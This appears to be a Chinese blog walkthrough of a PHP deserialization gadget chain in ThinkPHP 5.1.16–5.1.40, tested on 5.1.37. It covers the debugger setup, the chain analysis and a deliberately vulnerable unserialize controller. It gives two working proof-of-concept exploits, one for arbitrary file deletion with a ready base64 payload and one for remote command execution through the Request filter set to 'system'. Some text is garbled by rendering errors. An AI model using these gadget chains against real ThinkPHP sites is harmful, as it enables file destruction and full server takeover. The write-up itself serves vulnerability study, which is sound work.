文章目录
- 配置xdebug
- 反序列化漏洞
- 利用链
- 详细分析
- poc1(任意文件删除)
- poc2(任意命令执行)
- 补充代码
配置xdebug
php.ini
[Xdebug]
zend_extension=D:/phpstudy_pro/Extensions/php/php7.3.4nts/ext/php_xdebug.dll
xdebug.mode=debug
xdebug.start_with_request=yes
xdebug.client_host=127.0.0.1
xdebug.client_port=9000
xdebug.idekey = PHPSTORM
配置phpstorm中的CLI解释器、本地服务器、调试的端口、DBGp代理以及phpstudy中的版本、扩展
配置防调试超时
1.打开apache配置文件注释掉如下,并添加一行。# Various default settings
Include conf/extra/httpd-default.conf 将注释去掉
Include conf/extra/httpd-fcgid.conf 添加此行2. 更改httpd-default.conf如下内容
# Timeout: The number of seconds before receives and sends time out.
#
Timeout 3600#
# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
#
KeepAlive On#
# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We recommend you leave this number high, for maximum performance.
#
MaxKeepAliveRequests 0#
# KeepAliveTimeout: Number of seconds to wait for the next request from the
# same client on the same connection.
#
KeepAliveTimeout 36003.更改php.ini如下内容
max_execution_time = 3600
; Maximum amount of time each script may spend parsing request data. It's a good
; idea to limit this time on productions servers in order to eliminate unexpectedly
; long running scripts.4.在extra目录下创建httpd-fcgid.conf,写入如下内容。
ProcessLifeTime 3600
FcgidIOTimeout 3600
FcgidConnectTimeout 3600
FcgidOutputBufferSize 128
FcgidMaxRequestsPerProcess 1000
FcgidMinProcessesPerClass 0
FcgidMaxProcesses 16
FcgidMaxRequestLen 268435456
FcgidInitialEnv PHP_FCGI_MAX_REQUESTS 1000
IPCConnectTimeout 3600
IPCCommTimeout 3600
FcgidIdleTimeout 3600
FcgidBusyTimeout 60000
FcgidBusyScanInterval 120
FcgidInitialEnv PHPRC "D:\phpstudy_pro\Extensions\php\php7.3.4nts"
AddHandler fcgid-script .php
反序列化漏洞
测试版本5.1.37
适用版本5.1.16-5.1.40
利用链
think\process\pipes\Windows ⇒__destruct⇒removeFiles⇒file_exists⇒__toString
think\model\concern\Conversion⇒__toString⇒toJson⇒toArray
thinkphp\library\think\Request⇒__call⇒isAjax⇒parma⇒input⇒filterValue
详细分析
修改控制器
<?php namespace app\index\controller; class Index { public function index() { unserialize(base64_decode($_GET['id'])); return "Welcome!"; }
}
查找入口__destruct,进入windows类
public function __destruct(){$this->close();$this->removeFiles();}
查看removeFiles方法
private function removeFiles(){foreach ($this->files as $filename) {if (file_exists($filename)) {@unlink($filename);}}$this->files = [];}
poc1(任意文件删除)
<?php
namespace think\process\pipes;
class Pipes{}
class Windows extends Pipes{private $files = ['D:\phpstudy_pro\WWW\v5.1.37\a.txt'];//这里一定要绝对路径
}
$a=new Windows();
echo base64_encode(serialize($a));
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtzOjMzOiJEOlxwaHBzdHVkeV9wcm9cV1dXXHY1LjEuMzdcYS50eHQiO319
查找__toString
removeFiles方法里面使用了file_exists($filename)
, $filename变量可控,传入一个对象则会调用对象的__toString方法将对象转换成字符串再判断, 查找可利用的toString,找到think\model\concern\Conversion类
public function __toString(){return $this->toJson();}
public function toJson($options = JSON_UNESCAPED_UNICODE){return json_encode($this->toArray(), $options);}
public function toArray(){$item = [];$hasVisible = false;
...
if (!empty($this->append)) {foreach ($this->append as $key => $name) {if (is_array($name)) {// 追加关联对象属性$relation = $this->getRelation($key);if (!$relation) {$relation = $this->getAttr($key);if ($relation) {$relation->visible($name);}}
...}
if里的relation不为空,进入第二个if后先跟进getAttr,又调用了getData(),getData(),这里 $this->data可控
public function getAttr($name, &$item = null){try {$notFound = false;$value = $this->getData($name);} catch (InvalidArgumentException $e) {$notFound = true;$value = null;}
...return $value;
public function getData($name = null){if (is_null($name)) {return $this->data;} elseif (array_key_exists($name, $this->data)) {return $this->data[$name];
自此,relation->visible($name) 变成了:可控类->visible(可控变量)
接下来的思路就是找 可利用的visible()
方法 或者 可利用的 __call()
这里有一个细节,使用__call代替visible时,visible会作为KaTeX parse error: Expected group after '_' at position 9: method传入_̲_call方法,name则传入args
一般PHP中的__call方法都是用来进行容错或者是动态调用,所以一般会在__call方法中使用
__call_user_func($method, $args)
__call_user_func_array([$obj,$method], $args)
但是 public function __call($method, $args) 我们只能控制 $args,所以很多类都不可以用
经过查找发现 think-5.1.37/thinkphp/library/think/Request.php 中的 __call使用array取值
thinkphp\library\think\Request
public function __call($method, $args){if (array_key_exists($method, $this->hook)) {array_unshift($args, $this);return call_user_func_array($this->hook[$method], $args);}//call_user_func_array([$obj,"任意方法"],[$this,任意参数])
//也就是
//$obj->$func($this,$argv)
这里的method是前面传递过来的visible,this->hook可控,因此只需要设置this->hook=[“visible”=>”任意方法”]就能使这里的call_user_func_array(this->hook[method], args); 相当于call_user_func_array(‘任意方法’, args);
这里有个 array_unshift(args, this); 会把this放到arg数组的第一个元素
开始寻找不受this对象影响的方法
这种情况是很难执行命令的,但是Thinkphp作为一个web框架, Request类中有一个特殊的功能就是过滤器 filter(ThinkPHP的多个远程代码执行都是出自此处) 所以可以尝试覆盖filter的方法去执行代码 寻找使用了过滤器的所有方法 发现input()函数满足条件,但是在
input()
中会对$name
进行强转$name = (string) $name;
传入对象会直接报错,所以使用 ide 对其进行回溯,查找调用input()
的方法
public function input($data = [], $name = '', $default = null, $filter = ''){...$name = (string) $name;if ('' != $name) {// 解析nameif (strpos($name, '/')) {list($name, $type) = explode('/', $name);}//从数组$data中获取键为$name的value作为$data的新值,这个value必须是数组$data = $this->getData($data, $name);...if (is_object($data)) {//$data不能是对象return $data;}}// 解析过滤器//getFilter方法里如果 $filter = false 则 $filter = $this->filter;因此$filter可控$filter = $this->getFilter($filter, $default);if (is_array($data)) {array_walk_recursive($data, [$this, 'filterValue'], $filter);...} else {$this->filterValue($data, $name, $filter);}...return $data;}
继续查找调用input方法的的函数
param方法第一个参数可控,从这里入手
public function param($name = '', $default = null, $filter = '')
{if (!$this->mergeParam) {...}if (true === $name) {...}return $this->input($this->param, $name, $default, $filter);
}
在 function param($name = '', $default = null, $filter = '')
的回溯中发现 isAjax()
和 isPjax()
中 $this->config['var_ajax']
是可控的,那么 input()
的第一个参数也是可控的,由于只给 input()
传了一个参数,其 $name
默认为空,调用链完成
public function isAjax($ajax = false){$value = $this->server('HTTP_X_REQUESTED_WITH');$result = 'xmlhttprequest' == strtolower($value) ? true : false;if (true === $ajax) {return $result;}$result = $this->param($this->config['var_ajax']) ? true : $result;$this->mergeParam = false;return $result;}
poc2(任意命令执行)
<?php
namespace think;
abstract class Model{protected $append = [];private $data = [];function __construct(){$this->append = ["poc"=>[" "," "]];$this->data = ["poc"=>new Request()];}
}
class Request
{protected $hook = [];protected $filter = "system";protected $mergeParam=true;protected $param = [];protected $config = [// 表单请求类型伪装变量'var_method' => '_method',// 表单ajax伪装变量'var_ajax' => '_ajax',// 表单pjax伪装变量'var_pjax' => '_pjax',// PATHINFO变量名 用于兼容模式'var_pathinfo' => 's',// 兼容PATH_INFO获取'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],// 默认全局过滤方法 用逗号分隔多个'default_filter' => '',// 域名根,如thinkphp.cn'url_domain_root' => '',// HTTPS代理标识'https_agent_name' => '',// IP代理获取标识'http_agent_ip' => 'HTTP_X_REAL_IP',// URL伪静态后缀'url_html_suffix' => 'html',];function __construct(){$this->filter = "system";//回调时调用的PHP函数$this->config = ["var_ajax"=>''];//在isAjax方法传递给param方法的$name绕过param方法的一些操作,但主要是为了绕过input方法里面对$data的改变$this->hook = ["visible"=>[$this,"isAjax"]];//在__call里面调用isAjax$this->mergeParam=true;//绕过param方法里的一些操作$this->param=["calc",""];//input方法的$data,也是即将执行的命令}
}
namespace think\process\pipes;use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{private $files = [];public function __construct(){$this->files=[new Pivot()];}
}
namespace think\model;use think\Model;class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>
补充代码
__call( m e t h o d , method, method,arguments)
<?php
class Test
{
// function __destruct(){
// echo "coleak1";
// }function __call($method,$arguments){echo "__call" .PHP_EOL. $method.PHP_EOL;print_r($arguments);}
}
$a=new Test();
$a->acdads('aaaaa');
__call
acdads
Array
(
[0] => aaaaa
)
array_unshift
<?php
$a=array("a"=>"red","b"=>"green");
array_unshift($a,"blue");
print_r($a);
?>
Array
(
[0] => blue
[a] => red
[b] => green
)
call_user_func_array
<?php
$a=['whoami','ipconfig'];
$b='system';
call_user_func_array($b,$a);
coleak\admin